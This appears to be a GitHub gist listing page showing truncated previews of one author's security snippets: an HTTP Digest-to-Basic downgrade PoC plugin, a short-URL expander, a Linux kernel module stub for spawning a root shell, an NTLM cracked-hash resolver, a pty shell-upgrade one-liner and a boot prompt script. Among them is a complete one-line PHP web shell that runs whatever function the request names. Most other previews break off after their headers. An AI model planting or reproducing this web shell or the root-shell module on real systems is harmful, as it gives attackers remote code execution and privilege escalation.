This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# dtob.py | |
# Digest to Basic downgrade attack PoC plugin for proxpy (https://code.google.com/p/proxpy/) | |
# | |
# 2013 Leon Jacobs | |
# Licensed under IDC (I don't Care) license. | |
import base64 | |
import hashlib | |
def headerCleanup(v): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# longurl.py ShortURL Expander | |
# | |
# 2013 Leon Jacobs | |
# Licensed under IDC (I don't Care) license. | |
import sys | |
import httplib | |
from urlparse import urlparse |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php extract($_REQUEST); @die($ctime($atime)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> /* Needed by all modules */ | |
#include <linux/kernel.h> /* Needed for KERN_INFO */ | |
#include <linux/init.h> /* Needed for the macros */ | |
/* For our shell ^_^ */ | |
#include<linux/kmod.h> | |
int get_root (void) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# A, maybe-I-cant-read-docs script to resolve cracked NTLM | |
# hashes back to username. | |
# usage - ./resolvehash.sh hashdump cracked | |
while read LINE | |
do | |
# set the hash and password | |
HASH=$(echo "$LINE" | cut -d: -f1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c 'import pty; pty.spawn("/bin/bash")' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# bootprompt.sh | |
# | |
# Description: Shows connected interface(s) at boot and related ip address(es) on tty login prompt | |
# Usage: Put it somewhere (ie. /etc/init.d/) and then add its full path entry to /etc/rc.local | |
DSTFILE="/etc/issue" | |
KEEPLINE=$(head -n 1 ${DSTFILE}) | |
IFACE_UP=$(/sbin/ifconfig eth0 | grep 'Bcast:' -B1 | grep -v inet | grep -v - -- | awk '{print $1}') |
OlderNewer